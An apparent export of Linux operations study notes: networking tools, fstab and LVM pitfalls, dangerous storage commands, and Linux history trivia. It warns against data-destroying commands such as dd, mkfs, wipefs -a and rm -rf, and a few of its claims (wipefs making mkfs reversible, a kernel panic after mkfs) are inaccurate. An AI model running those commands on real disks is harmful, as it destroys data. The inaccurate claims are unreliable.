The <html><code>ip</code></html> command from the iproute2 package is the modern replacement for deprecated tools (ifconfig, route, arp — unfixed since 2001) and serves as the primary interface for Linux network configuration. Key subcommands: <html><code>ip link show</code></html> displays interface status and controls link state (up/down); <html><code>ip addr show</code></html> lists IP addresses per interface and allows adding or removing them; <html><code>ip route show</code></html> displays the routing table, while <html><code>ip route get <host></code></html> shows which route would be used for a specific destination; <html><code>ip neigh show</code></html> displays the ARP table (MAC-to-IP mappings). Both detailed and brief output modes support live diagnosis and scripting. The command integrates with network namespaces via <html><code>ip netns exec</code></html>, making it essential for container debugging. Unlike its deprecated predecessors, <html><code>ip</code></html> is actively maintained and supports modern networking features including VLANs, tunneling, and policy routing. It is standard across all modern Linux distributions.
----
''Sources''
* <html><code>training/library/topics/linux-ops/primer.md</code></html>
* <html><code>training/library/topics/networking-troubleshooting/tools-reference.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What replaces `ifconfig` in the ip command suite?]]
* [[Why is the `ip` command preferred over `ifconfig`?]]
Q: What is the difference between <html><code>ss</code></html> and <html><code>netstat</code></html>?
A: <html><code>ss</code></html> (socket statistics) is faster, uses kernel netlink sockets directly, and is the modern replacement for <html><code>netstat</code></html> (deprecated, from net-tools). Common usage: <html><code>ss -tlnp</code></html> shows listening TCP sockets with process info.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `ss -s` command useful for?]]
* [[Find which process is listening on a port]]
* [[What is `ss -i` useful for?]]
<html><code>ss</code></html> (socket statistics) and <html><code>netstat</code></html> both dump socket information, but via radically different mechanisms. <html><code>ss</code></html> queries kernel socket data via netlink, the Linux inter-process communication mechanism for kernel-to-userspace data transfer. <html><code>netstat</code></html> parses <html><code>/proc/net/tcp</code></html>, a text file that the kernel generates on demand. On a server with thousands of concurrent connections, the difference is dramatic: <html><code>netstat</code></html> may take 30 seconds or more to parse and format the output, while <html><code>ss</code></html> returns in under a second. The performance gap exists because <html><code>/proc/net/tcp</code></html> is expensive to generate for every read — the kernel must iterate every socket structure, format it as human-readable text, and write it to the pseudo-file. <html><code>ss</code></html> bypasses this overhead entirely. For production servers with tens of thousands of connections, <html><code>netstat</code></html> is unusable during troubleshooting or real-time monitoring. This performance gap is a primary reason <html><code>ss</code></html> has become the standard socket introspection tool.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
''Related atoms''
* [[What is the `ss -s` command useful for?]]
* [[What is `ss -i` useful for?]]
Q: What does <html><code>mtr</code></html> do?
A: Combines ping and traceroute into a single tool that continuously displays per-hop statistics (packet loss, latency, jitter). More informative than either tool alone for network troubleshooting.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[traceroute: how it works and common usage]]
Q: What is the <html><code>nmap</code></html> command?
A: Network exploration and security auditing tool. <html><code>nmap -sT host</code></html> performs a TCP connect scan. <html><code>nmap -sV host</code></html> detects service versions. <html><code>nmap -O host</code></html> attempts OS detection.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `nmcli` command?]]
Linux assigns <html><code>/dev/sdX</code></html> names at boot based on driver load order and bus enumeration sequence. Adding a new disk, a USB drive detected during boot, or even a kernel update changes the order. A partition that was <html><code>/dev/sdb1</code></html> becomes <html><code>/dev/sdc1</code></html>. If fstab lists <html><code>/dev/sdb1</code></html> and next boot it no longer exists, the mount fails and boot may be interrupted. Worse: the wrong device gets mounted—data corruption or data loss can follow. UUIDs are embedded in the filesystem superblock at format time and never change regardless of enumeration order. Filesystem labels are human-readable but not guaranteed unique; two filesystems can have the same label. The kernel provides <html><code>/dev/disk/by-uuid/</code></html> symlinks to show the stable mapping. Always use <html><code>blkid</code></html> to obtain a device's UUID and reference it in fstab with <html><code>UUID=<uuid></code></html>. This applies to all persistent storage references: fstab, mdadm configuration, LVM physical volumes, and boot loader configurations.
----
''Sources''
* <html><code>training/library/topics/linux-ops-storage/footguns.md</code></html>
''Related atoms''
* [[Why do /dev/sdX device names change between reboots, and what should you use instead?]]
* [[blkid: display block device attributes (UUID, type, label)]]
* [[What is the advantage of using /dev/disk/by-id/ instead of /dev/sdX in fstab?]]
Filesystem mount configuration in <html><code>/etc/fstab</code></html> can reference a device by its kernel path (e.g., <html><code>/dev/sdb1</code></html>) or by its UUID. Device paths are not stable: if you add a new disk to the system or remove an existing one, the kernel may reassign device letters during boot, shifting <html><code>/dev/sdb</code></html> to <html><code>/dev/sdc</code></html> and breaking your mount. UUIDs, by contrast, are assigned at filesystem creation time and tied to the filesystem itself, not to the kernel's discovery order. A filesystem keeps the same UUID across reboots, disk reorders, and driver changes. The practice is to always use UUIDs in fstab: <html><code>UUID=<uuid> /mount/point <fstype> defaults 0 2</code></html>. If you must reference a device name (rare), use a stable identifier like the disk's World Wide Name (WWN) or a device label set at filesystem creation time. Using device paths in fstab is a common cause of boot failures in heterogeneous environments where disks are added or removed, or in systems with USB and iSCSI devices where discovery order varies.
----
''Sources''
* <html><code>training/library/topics/lpic-lfcs/street_ops.md</code></html>
''Related atoms''
* [[Why should you use UUIDs instead of /dev/sdX device names in /etc/fstab, and how do you…]]
* [[Why do /dev/sdX device names change between reboots, and what should you use instead?]]
* [[Stable device references survive reboot via UUID, label, or WWN—never rely on /dev/sdX]]
<html><code>mkfs</code></html> erases the target partition's filesystem metadata. It does not verify the partition is unmounted, does not prompt for confirmation, and has no undo. A typo or muscle memory can destroy a mounted data volume. The filesystem is gone—next write to a stale mount point causes a kernel panic. <html><code>mkfs</code></html> is sometimes called "disk destroyer" for this reason. Prevention: before running <html><code>mkfs</code></html>, verify the target with <html><code>mount | grep <device></code></html> and <html><code>lsblk</code></html>. Unmount the device first. Consider <html><code>wipefs -a /dev/sdX</code></html> to clear filesystem signatures before running <html><code>mkfs</code></html>—it forces a deliberate pause and makes the operation reversible (the filesystem is still there until mkfs writes). Some tools like <html><code>fdisk</code></html> and <html><code>parted</code></html> offer confirmation dialogs; <html><code>mkfs</code></html> typically does not. The canonical cautionary tale is the Pixar "Toy Story 2" incident (1998), where an errant <html><code>rm -rf</code></html> deleted 90% of the film's assets on a server. Backups existed but were corrupt; the film was saved because one technical director had a full copy on her home machine.
----
''Sources''
* <html><code>training/library/topics/linux-ops-storage/footguns.md</code></html>
''Related atoms''
* [[Typos in destructive commands cause irreversible data loss]]
* [[Device names are unstable; fstab must use UUIDs, not /dev/sdX]]
<html><code>lvextend -L +10G /dev/vg0/data</code></html> grows the logical volume but does not resize the filesystem within it. The LV is now larger, but <html><code>df</code></html> still shows the old capacity. The new space is inaccessible until the filesystem is resized. ext4 requires <html><code>resize2fs /dev/vg0/data</code></html>; XFS requires <html><code>xfs_growfs /mountpoint</code></html>. Many people assume extending the LV also extends the filesystem, leading to confusion when the resize appears to have failed—they try again. Others attempt to write data assuming the space exists, filling the filesystem at the old boundary. Use <html><code>lvextend -r</code></html> (resize option) to extend both LV and filesystem in one step. Always verify with <html><code>df -h</code></html> afterward. This layering is a feature (you can resize independently) but causes mistakes in practice.
----
''Sources''
* <html><code>training/library/topics/linux-ops-storage/footguns.md</code></html>
''Related atoms''
* [[How to increase the size of LVM partition?]]
* [[XFS cannot be shrunk; ext4 can, but XFS has no reduction operation]]
* [[LVM three-layer abstraction: PV → VG → LV]]
<html><code>lvextend -L +20G /dev/vg0/data</code></html> fails with "Insufficient free space" if the volume group has fewer than 20GB of free physical extents. LVM abstracts storage so thoroughly that people forget the physical layer. A 500GB server disk does not mean the VG has 500GB—partitions, metadata, and other logical volumes consume space. Desperation leads to removing an LV to free PE, but the wrong LV gets deleted, or a physical disk from another system gets added to the VG. Always check free space first: <html><code>vgs</code></html> shows free PE in each VG; add a new physical volume only if you have verified the disk is truly unused (check <html><code>pvs</code></html>, <html><code>lsblk</code></html>, and <html><code>blkid</code></html>). If the VG is exhausted, the options are: delete or shrink an LV (note: XFS cannot shrink), add a new PV (physical disk), or migrate data to a larger disk. Understanding the physical layer beneath LVM prevents accidents.
----
''Sources''
* <html><code>training/library/topics/linux-ops-storage/footguns.md</code></html>
''Related atoms''
* [[How to increase the size of LVM partition?]]
* [[Describe the process of extending a filesystem/disk]]
XFS is a growing-only filesystem. <html><code>xfs_growfs</code></html> increases capacity; there is no shrink operation. ext4 supports <html><code>resize2fs</code></html> in both directions, but XFS design does not provide the ability to move extents and compact the filesystem. Someone who knows ext4 assumes all filesystems offer shrinking. LVM's <html><code>lvreduce</code></html> works at the physical volume layer but requires the filesystem to shrink first—impossible with XFS. The only path to reclaim space is backup-recreate-restore: copy data off, delete the LV, create a smaller LV, create new XFS on it, restore data. This is consequential because RHEL/CentOS/Rocky/Alma default to XFS for all partitions since RHEL 7. If those distributions were used during installation and volumes were over-provisioned, the root filesystem cannot be shrunk. Understand filesystem capabilities before choosing one. If you might need to shrink volumes, use ext4. If you are on XFS, plan for the space you need upfront.
----
''Sources''
* <html><code>training/library/topics/linux-ops-storage/footguns.md</code></html>
''Related atoms''
* [[LVM logical volumes and filesystems are separate layers; both must be extended]]
* [[Describe the process of extending a filesystem/disk]]
An application reports slow writes and timeouts. Instinct is to profile the application, tune the database, increase timeouts. Meanwhile, <html><code>dmesg</code></html> shows <html><code>blk_update_request: I/O error</code></html>, EXT4 filesystem errors, or SCSI sense key errors—the disk is failing. These errors are invisible to application metrics until catastrophic failure. The disk is slowly losing its ability to read or write sectors. <html><code>smartctl -a /dev/sdX</code></html> provides SMART health data: <html><code>Reallocated_Sector_Ct</code></html> (sectors the drive remapped to spare areas—any non-zero is concerning), <html><code>Current_Pending_Sector</code></html> (sectors waiting for reallocation), <html><code>Offline_Uncorrectable</code></html> (unreadable sectors). If these are increasing, the drive is failing and will eventually lose data or disappear from the system. Application-layer debugging is familiar; <html><code>dmesg</code></html> is not in the standard workflow. But storage problems root-cause most I/O-related application symptoms. Check <html><code>dmesg | grep -i error</code></html> and <html><code>journalctl -k --since '1 hour ago'</code></html> before tuning the application. Storage failing is the simplest explanation for mysterious I/O timeouts.
----
''Sources''
* <html><code>training/library/topics/linux-ops-storage/footguns.md</code></html>
''Related atoms''
* [[Which 5 SMART attributes are most important to monitor for drive health?]]
* [[What patterns should you grep for in dmesg when troubleshooting hardware or system issues?]]
* [[Not checking disk space before large writes crashes services]]
When the root filesystem fills to 100%, the system cannot write logs, create temp files, or even authenticate via SSH (PAM needs to write to <html><code>wtmp</code></html>). Services fail to start because they cannot write PID files. The kernel itself still runs; you can't kill anything because ps can't write, cp can't write, nothing can write. The system is effectively dead for purposes of administration, even though you could theoretically reboot. Full filesystems are usually caused by misconfigured log rotation, a core dump explosion, or unmonitored growth. Prevention: alert at 80% utilization; set filesystem reserved blocks (ext4 default is 5% for root, reclaimed by root processes only): <html><code>tune2fs -m 5 /dev/sdX</code></html>. Put <html><code>/var/log</code></html>, <html><code>/tmp</code></html>, and application data on separate partitions so a log explosion does not destroy the root filesystem. Use <html><code>logrotate</code></html> with <html><code>maxsize</code></html> (rotate when a file reaches a size) and <html><code>dateext</code></html> (append dates to rotated logs). When critical, <html><code>logrotate</code></html> can run per-size, not per-day. Many outages stem from a single full filesystem—it's preventable with trivial monitoring.
----
''Sources''
* <html><code>training/library/topics/linux-ops-storage/footguns.md</code></html>
''Related atoms''
* [[Not checking disk space before large writes crashes services]]
* [["No space left on device" may mean inode exhaustion, not full blocks]]
* [[System freezes for 30-60 seconds randomly. SSH hangs. No kernel panic. Why?]]
After adding or modifying an fstab entry, many people test it with a manual <html><code>mount /path</code></html> and consider it validated. They do not run <html><code>mount -a</code></html> to check the entire fstab. Three months later, the server reboots; an unnoticed syntax error on line 6 causes the mount to fail. The system enters emergency mode (read-only shell) because a required filesystem could not be mounted. Recovery requires physical access or an out-of-band console. <html><code>mount -a</code></html> reads and applies all entries in fstab; if any fail, the exit code is non-zero. <html><code>findmnt --verify</code></html> performs more aggressive syntax checking. For critical systems, use the <html><code>nofail</code></html> mount option so a failed mount does not block boot (the system continues but that filesystem is unavailable). The safest validation: edit fstab, run <html><code>mount -a</code></html>, check the exit code, then reboot in a maintenance window and watch the boot sequence.
----
''Sources''
* <html><code>training/library/topics/linux-ops-storage/footguns.md</code></html>
''Related atoms''
* [[Test fstab changes with mount -a before rebooting]]
* [[Recovering from a bad /etc/fstab entry that prevents boot]]
* [[What happens if an fstab entry lacks the nofail option and the device is unavailable at…]]
<html><code>dd if=/dev/sda of=/dev/sdb</code></html> looks simple but the arguments are easy to transpose. If you swap source and destination, you overwrite your production disk with whatever you intended to copy from. <html><code>dd</code></html> does not verify the destination is not mounted, does not ask for confirmation, and does not provide an undo. The data is gone—the only recovery is a backup (if one exists). <html><code>dd</code></html> is infamous for this; it is colloquially called "disk destroyer." The archaic <html><code>if=</code></html> and <html><code>of=</code></html> syntax is error-prone, especially at 3 AM under fatigue. Prevention: echo the command before executing, use <html><code>lsblk</code></html> to confirm which device is which, and consider tools with safety checks like <html><code>ddrescue</code></html> or <html><code>pv</code></html> for disk imaging. A shell alias can add confirmation: <html><code>dd-safe() { echo "Will write \$2 to \$4. Ctrl-C to abort."; sleep 5; dd "\$@"; }</code></html>. Never pipe <html><code>dd</code></html> output; always verify the command line is correct.
----
''Sources''
* <html><code>training/library/topics/linux-ops-storage/footguns.md</code></html>
''Related atoms''
* [[Typos in destructive commands cause irreversible data loss]]
* [[What does "dd" stand for?]]
* [[Device name confusion in disk operations causes data loss]]
The default mount options (async, <html><code>data=ordered</code></html> for ext4) are safe for most workloads. But critical systems like databases or write-ahead logs require durability guarantees: data the application believes is on disk must actually be durable to power loss. Async writes mean data sits in the page cache; a crash or power failure loses it. <html><code>sync</code></html> forces every write to go to the disk immediately, which is slow. ext4 offers <html><code>data=journal</code></html> mode (all data goes through the journal, slower but durable) or <html><code>data=ordered</code></html> (default, orders writes but relies on application fsync). XFS has <html><code>wsync</code></html> for synchronous directory operations but typically relies on application fsync. Many databases (<html><code>sqlite3</code></html>, <html><code>PostgreSQL</code></html>, <html><code>MySQL</code></html>) use <html><code>fsync</code></html> syscalls to force durability; the filesystem mount mode is secondary. Never assume the kernel's write ordering matches the application's expectations. Verify mount options with <html><code>mount | grep <device></code></html>. When in doubt, check the database documentation—the right answer depends on the workload, and incorrect settings can cause silent data loss.
----
''Sources''
* <html><code>training/library/topics/linux-ops-storage/footguns.md</code></html>
''Related atoms''
* [[Three journaling modes in ext3/ext4]]
* [[ext4 health checks use tune2fs; XFS checks can run mounted]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
systemd is PID 1 on every major Linux distribution, responsible for starting services, ordering their execution, managing restart behavior on failure, and enforcing resource limits. It replaced SysVinit (1983) and Upstart (2006) through advantages in parallel boot (multiple services start concurrently), dependency resolution (services declare what they need), and cgroup integration (fine-grained resource control). Beyond the common operations (systemctl start/stop), production incidents demand deeper knowledge: reading structured logs via journalctl, understanding dependency chains that cause cascading failures, writing custom unit files, and applying resource limits to prevent runaway processes.
----
''Sources''
* <html><code>training/library/topics/linux-ops-systemd/primer.md</code></html>
''Related atoms''
* [[What is systemd and how does it manage Linux services?]]
* [[What is PID 1, and why is it special?]]
* [[systemd vs SysVinit - what matters operationally?]]
Q: Who created Linux, and in what year?
A: Linus Torvalds created Linux in 1991 while a 21-year-old computer science student at the University of Helsinki, Finland.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What was the first Linux distribution?]]
* [[What is the oldest actively maintained Linux distribution?]]
* [[What was the original name Linus considered for the kernel before "Linux"?]]
Q: What was the famous opening line of Linus Torvalds' Usenet post announcing Linux?
A: "Hello everybody out there using minix - I'm doing a (free) operating system (just a hobby, won't be big and professional like gnu) for 386(486) AT clones." Posted on comp.os.minix on August 25, 1991.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What operating system inspired Linus to write Linux?]]
* [[What was the original name Linus considered for the kernel before "Linux"?]]
* [[What was the Tanenbaum-Torvalds debate about?]]
Q: What was the first version number of the Linux kernel?
A: Linux 0.01, released September 17, 1991. It was not publicly announced; only 0.02 (October 1991) was posted to comp.os.minix.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What was the first Linux distribution?]]
* [[What was the first commercial Linux distribution?]]
* [[What are the Linux kernel version numbering conventions?]]
Q: What operating system inspired Linus to write Linux?
A: MINIX, a small Unix-like teaching OS written by Andrew S. Tanenbaum for his textbook "Operating Systems: Design and Implementation."
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What architecture was Linux originally written for?]]
* [[What was the famous opening line of Linus Torvalds' Usenet post announcing Linux?]]
* [[What was the original name Linus considered for the kernel before "Linux"?]]
Q: What was the original name Linus considered for the kernel before "Linux"?
A: Linus originally wanted to call it "Freax" (a portmanteau of free, freak, and x for Unix). Ari Lemmke, who hosted the FTP upload, named the directory "linux" instead.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What operating system inspired Linus to write Linux?]]
* [[Who created Linux, and in what year?]]
* [[What was the famous opening line of Linus Torvalds' Usenet post announcing Linux?]]
Q: What was the Tanenbaum-Torvalds debate about?
A: In January 1992, Andrew Tanenbaum posted "LINUX is obsolete" on comp.os.minix, arguing that a monolithic kernel was a step backward and that microkernels were the future. Torvalds defended Linux's pragmatic monolithic design.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Who created Linux, and in what year?]]
* [[What was the famous opening line of Linus Torvalds' Usenet post announcing Linux?]]
* [[What operating system inspired Linus to write Linux?]]
Q: Who is Richard Stallman, and what is his role in the Linux ecosystem?
A: Richard Stallman founded the GNU Project in 1983 and the Free Software Foundation in 1985. He created core userland tools (GCC, Bash, coreutils) that, combined with the Linux kernel, form a complete operating system.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Why does Stallman insist on calling the OS "GNU/Linux"?]]
* [[Who created Linux, and in what year?]]
* [[What is the Linux Foundation?]]
Q: What does GNU stand for?
A: GNU stands for "GNU's Not Unix" — a recursive acronym, a tradition in hacker culture.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Why does Stallman insist on calling the OS "GNU/Linux"?]]
* [[Differences between Unix, Linux, BSD, and GNU]]
Q: Why does Stallman insist on calling the OS "GNU/Linux"?
A: Because the complete operating system includes GNU userland tools (compiler, shell, coreutils, C library) alongside the Linux kernel. Stallman argues calling it just "Linux" erases the GNU Project's foundational contributions.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Who is Richard Stallman, and what is his role in the Linux ecosystem?]]
* [[Differences between Unix, Linux, BSD, and GNU]]
* [[What does GNU stand for?]]
Q: What are the four freedoms of the GPL?
A: Freedom 0: run the program; Freedom 1: study and modify source code; Freedom 2: redistribute copies; Freedom 3: distribute modified versions. The GPL's "copyleft" requirement mandates derivative works also be GPL-licensed.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between the GPL, LGPL, MIT, and Apache licenses?]]
* [[What is the BSD license?]]
Q: What is the oldest actively maintained Linux distribution?
A: Slackware, first released on July 17, 1993 by Patrick Volkerding. It remains actively developed.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What was the first Linux distribution?]]
* [[What was the first commercial Linux distribution?]]
* [[Who created Linux, and in what year?]]
Q: How does Debian name its releases?
A: Debian releases are named after characters from the Pixar movie Toy Story. Examples: Buzz, Rex, Woody, Sarge, Etch, Lenny, Squeeze, Wheezy, Jessie, Stretch, Buster, Bullseye, Bookworm, Trixie. The unstable branch is always called "Sid" (the destructive kid).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What distros make up the Debian family?]]
* [[Identify your Linux distro programmatically]]
Q: How does Ubuntu version numbering work?
A: Ubuntu uses YY.MM format — e.g., 24.04 was released in April 2024. LTS (Long Term Support) releases come every two years in April (even years) and are supported for five years.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the Linux kernel version numbering conventions?]]
Q: What is the relationship between RHEL, CentOS, Rocky Linux, and AlmaLinux?
A: CentOS was a free rebuild of RHEL source. In 2020, Red Hat shifted CentOS to CentOS Stream (a rolling preview of RHEL). Rocky Linux (founded by CentOS co-founder Gregory Kurtzer) and AlmaLinux (backed by CloudLinux) emerged as 1:1 RHEL-compatible replacements.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Red Hat family: distros, tooling, and enterprise positioning]]
* [[What does RHEL stand for?]]
* [[CentOS 7 upgrade to AlmaLinux/Rocky uses automated elevation tooling]]
Q: What does RHEL stand for?
A: Red Hat Enterprise Linux.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Red Hat family: distros, tooling, and enterprise positioning]]
* [[When should you choose RHEL over Ubuntu?]]
* [[What is the relationship between RHEL, CentOS, Rocky Linux, and AlmaLinux?]]
Q: Who founded Red Hat?
A: Bob Young and Marc Ewing founded Red Hat in 1994. The name comes from Ewing's red Cornell lacrosse cap.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What was the Heartbleed vulnerability?
A: CVE-2014-0160 — a buffer over-read bug in OpenSSL's TLS heartbeat extension that allowed attackers to read up to 64KB of server memory per request, potentially exposing private keys, passwords, and session data.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What was Shellshock?
A: CVE-2014-6271 — a family of vulnerabilities in GNU Bash that allowed remote code execution through crafted environment variables. It affected CGI scripts, SSH, DHCP clients, and more.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `/etc/shells`?]]
* [[What does "SSH" stand for?]]
Q: What was Dirty COW?
A: CVE-2016-5195 — a race condition in the kernel's copy-on-write (COW) mechanism in memory management that allowed unprivileged local users to gain write access to read-only memory mappings, enabling privilege escalation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is copy-on-write (COW)?]]
* [[What does it mean when a kernel is "tainted," and why does it matter?]]
* [[What is RCU (Read-Copy-Update)?]]
Q: What is the Linux Foundation?
A: A non-profit technology consortium founded in 2000 (as Open Source Development Labs, renamed in 2007) that hosts and promotes Linux development. It employs Linus Torvalds and Greg Kroah-Hartman and hosts projects like Kubernetes, Node.js, and Hyperledger.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is kernel.org?]]
* [[Differences between Unix, Linux, BSD, and GNU]]
* [[Who created Linux, and in what year?]]
Q: What is kernel.org?
A: The primary distribution point for Linux kernel source code, maintained by the Linux Kernel Organization. It hosts stable, mainline, longterm, and next kernel trees.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a kernel, and what does it do?]]
* [[What is the Linux Foundation?]]
* [[The Linux kernel: what it is and how it works]]
Q: What are the Linux kernel version numbering conventions?
A: Since 2004 (2.6.x era), the kernel uses major.minor.patch. After 3.0 (2011), Linus resets the minor version at his discretion. Version 6.x started in October 2022. Odd/even minor numbering for dev/stable was abandoned after 2.6.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How does Ubuntu version numbering work?]]
* [[What was the first version number of the Linux kernel?]]
* [[What is a Linux kernel LTS release?]]
Q: What is a Linux kernel LTS release?
A: A Long Term Support kernel receives bug fixes and security patches for 2-6 years, compared to the ~3-month lifecycle of a regular stable release. Greg Kroah-Hartman maintains LTS kernels.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is kernel.org?]]
* [[What is a Linux distribution (distro)?]]
* [[What are the Linux kernel version numbering conventions?]]
Q: Who is Greg Kroah-Hartman?
A: The stable kernel maintainer and one of the most prolific Linux kernel contributors. He manages the stable release process and maintains the driver core, staging tree, and USB subsystem.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a Linux kernel LTS release?]]
* [[Who is Richard Stallman, and what is his role in the Linux ecosystem?]]
* [[What is kernel.org?]]
Q: What was the first Linux distribution?
A: MCC Interim Linux (Manchester Computing Centre), released in February 1992, was arguably the first. SLS (Softlanding Linux System) in 1992 was the first widely used distribution. Slackware and Debian both appeared in 1993.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the oldest actively maintained Linux distribution?]]
* [[What was the first version number of the Linux kernel?]]
* [[Who created Linux, and in what year?]]
Q: What was the first commercial Linux distribution?
A: Yggdrasil Linux, released in December 1992, was the first commercial Linux distribution to be sold. SLS and MCC were earlier but free.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the oldest actively maintained Linux distribution?]]
* [[What was the first version number of the Linux kernel?]]
* [[Who created Linux, and in what year?]]
Q: What architecture was Linux originally written for?
A: The Intel 80386 (i386). Linus wrote it specifically for his 386-based PC.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What operating system inspired Linus to write Linux?]]
* [[Who created Linux, and in what year?]]
* [[What was the original name Linus considered for the kernel before "Linux"?]]
Q: How many lines of code are in a modern Linux kernel?
A: Approximately 30-35 million lines of code as of kernel 6.x, making it one of the largest collaborative software projects in history.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What programming language is the Linux kernel primarily written in?]]
* [[What supercomputing milestone does Linux hold?]]
* [[What is kernel.org?]]
Q: What programming language is the Linux kernel primarily written in?
A: C, with some assembly for architecture-specific code. As of kernel 6.1, Rust was introduced as a second supported language for new driver development.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[When was Rust support officially added to the Linux kernel?]]
* [[The Linux kernel: what it is and how it works]]
* [[How many lines of code are in a modern Linux kernel?]]
Q: When was Rust support officially added to the Linux kernel?
A: Linux 6.1 (December 2022) was the first release with initial Rust infrastructure merged into the mainline kernel.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What programming language is the Linux kernel primarily written in?]]
* [[What was the first version number of the Linux kernel?]]
* [[What is a Linux kernel LTS release?]]
Q: What is the Linux kernel mailing list (LKML)?
A: The primary communication channel for Linux kernel development, hosted at lkml.org. It receives hundreds of messages daily covering patches, reviews, and discussions.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What command lists currently loaded kernel modules?]]
* [[What is a loadable kernel module (LKM)?]]
* [[What is kernel.org?]]
Q: What company acquired Red Hat in 2019?
A: IBM acquired Red Hat for approximately $34 billion, the largest software acquisition at the time.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is Arch Linux known for?
A: Its rolling-release model, minimalist design philosophy, and "The Arch Way" (simplicity, user-centricity). The meme "I use Arch btw" is a well-known joke in the Linux community.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is Pacman?]]
* [[Independent distros offer specialized niches and philosophies]]
* [[Give some examples of Linux distribution. What is your favorite distro and why?]]
Q: What was Ubuntu's first release?
A: Ubuntu 4.10 "Warty Warthog," released October 20, 2004. It was founded by Mark Shuttleworth and developed by Canonical.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What was the first Linux distribution?]]
* [[What was the first commercial Linux distribution?]]
* [[What is the oldest actively maintained Linux distribution?]]
Q: What is Gentoo Linux known for?
A: Source-based package management via Portage where packages are compiled from source on the user's machine, allowing extreme customization and optimization through USE flags.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What automated provisioning tools do different distro families use?]]
* [[What is a Linux "package manager"?]]
* [[What is a Linux distribution (distro)?]]
Q: What does the term "distro-hopping" mean?
A: The practice of frequently switching between Linux distributions, common among new Linux users exploring the ecosystem.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a Linux distribution (distro)?]]
* [[What is a Linux "spin" or "flavor"?]]
* [[Independent distros offer specialized niches and philosophies]]
Q: What is a Linux "spin" or "flavor"?
A: A variant of a distribution with a different default desktop environment or package selection, such as Kubuntu (Ubuntu with KDE) or Fedora Spins.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a Linux distribution (distro)?]]
* [[Give some examples of Linux distribution. What is your favorite distro and why?]]
* [[What does the term "distro-hopping" mean?]]
Q: What was the "Year of the Linux Desktop" meme?
A: A recurring joke/prediction in the Linux community that "this year" Linux will finally achieve mainstream desktop adoption. It has been predicted annually since the late 1990s.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What supercomputing milestone does Linux hold?]]
* [[Who created Linux, and in what year?]]
* [[What was the famous opening line of Linus Torvalds' Usenet post announcing Linux?]]
Q: What is Android's relationship to Linux?
